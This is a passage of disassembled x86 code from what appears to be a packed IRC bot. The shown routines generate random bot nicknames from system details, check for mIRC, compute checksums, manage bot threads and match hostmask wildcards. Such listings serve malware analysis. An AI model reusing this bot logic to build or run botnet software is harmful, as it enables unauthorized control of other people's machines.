		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB5D8	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB764
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------


loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: .packed:off_42DC58o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42DCC0[edx*4]
		push	offset aS_4	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D


loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB2C
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7


loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_4	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B


loc_40AD55:				; CODE XREF: .packed:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB2C
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55


loc_40AD7B:				; CODE XREF: .packed:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3


loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD


loc_40ADC3:				; CODE XREF: sub_40AD80+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431918
		push	eax
		push	esi
		call	dword_4270C0	; GetComputerNameA
		movsx	eax, byte_431918
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_40AE09:				; CODE XREF: .packed:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx


loc_40AE10:				; CODE XREF: .packed:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx


loc_40AE19:				; CODE XREF: .packed:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx


loc_40AE20:				; CODE XREF: .packed:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65


loc_40AE3F:				; CODE XREF: .packed:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB2C
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F


loc_40AE65:				; CODE XREF: .packed:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4270C4	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_43191C
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA


loc_40AEB4:				; CODE XREF: .packed:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB2C
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4


loc_40AEDA:				; CODE XREF: .packed:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43D7E8
		mov	dword ptr [ebp-94h], 94h
		call	dword_4270C8	; GetVersionExA
		call	dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_431944


loc_40AF34:				; CODE XREF: .packed:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_431940
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF44:				; CODE XREF: .packed:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_43193C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF54:				; CODE XREF: .packed:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_431938
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF64:				; CODE XREF: .packed:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_431934
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF7D:				; CODE XREF: .packed:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431930
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------


loc_40AF8D:				; CODE XREF: .packed:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_43192C
		jz	short loc_40AFA0


loc_40AF9B:				; CODE XREF: .packed:0040AF5Bj
					; .packed:0040AF6Bj
		mov	esi, offset dword_431928


loc_40AFA0:				; CODE XREF: .packed:0040AF3Bj
					; .packed:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431920
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4


loc_40AFBE:				; CODE XREF: .packed:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42BB2C
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE


loc_40AFE4:				; CODE XREF: .packed:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	dword_4270A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CB640	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_431950
		jnz	short loc_40B022
		mov	eax, offset byte_43D7E8


loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_431948
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------


loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CB640	; FindWindowA
		test	eax, eax
		mov	eax, offset dword_431950
		jnz	short loc_40B04D
		mov	eax, offset byte_43D7E8


loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h


loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42DC54


loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------


loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42DCCC
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------


loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42DC58[eax*4]
		pop	ecx


loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: sub_401221+378p
					; sub_401221+3B7p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43E370


loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CB370
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------


loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43E370[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43E570[esi], eax
		and	dword_43E574[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43E578[esi], 0
		mov	dword_43E57C[esi], eax
		and	byte_43E588[esi], 0
		pop	esi


loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B161	proc near		; DATA XREF: sub_401ACD+2989o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		push	[ebp+var_10]
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_40B1B3
		push	[ebp+var_14]
		call	sub_40B412
		add	esp, 14h
		push	0
		call	dword_4270CC	; ExitThread
		pop	edi
		pop	esi
sub_40B161	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B1B3	proc near		; CODE XREF: sub_40B161+38p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_431A50
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43E370


loc_40B1DD:				; CODE XREF: sub_40B1B3+78j
		cmp	byte ptr [esi],	0
		jz	short loc_40B21E
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B1F1
		cmp	dword ptr [esi+204h], 0
		jnz	short loc_40B21E


loc_40B1F1:				; CODE XREF: sub_40B1B3+33j
		push	esi
		push	edi
		lea	eax, [ebp+var_200]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 24h


loc_40B21E:				; CODE XREF: sub_40B1B3+2Dj
					; sub_40B1B3+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB370
		jl	short loc_40B1DD
		pop	edi
		pop	esi
		leave
		retn
sub_40B1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43E584[esi]
		lea	edi, dword_43E584[esi]
		call	dword_4270AC	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp


loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43E578[esi]
		mov	dword_43E570[esi], ebx
		mov	dword_43E574[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx


loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43E57C[esi]
		mov	byte ptr dword_43E370[esi], bl
		mov	byte_43E588[esi], bl
		push	dword ptr [edi]
		call	dword_4CB6CC	; closesocket
		lea	esi, dword_43E580[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB6CC	; closesocket
		mov	[esi], ebx
		pop	edi


loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; sub_401221:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43E370


loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx


loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CB370
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43E574


loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327


loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]


loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CB574
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: sub_401221+40Fp
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43E570


loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax


loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CB570
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43E570


loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CB570
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx


loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h


loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; sub_40B161+40p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43E584[eax], ecx
		mov	dword_43E570[eax], ecx
		mov	dword_43E574[eax], ecx
		mov	dword_43E578[eax], ecx
		mov	dword_43E57C[eax], ecx
		mov	dword_43E580[eax], ecx
		mov	byte ptr dword_43E370[eax], cl
		mov	byte_43E588[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------


loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------


loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------


loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------


loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax


loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi


loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562


loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------


loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi


loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------


loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


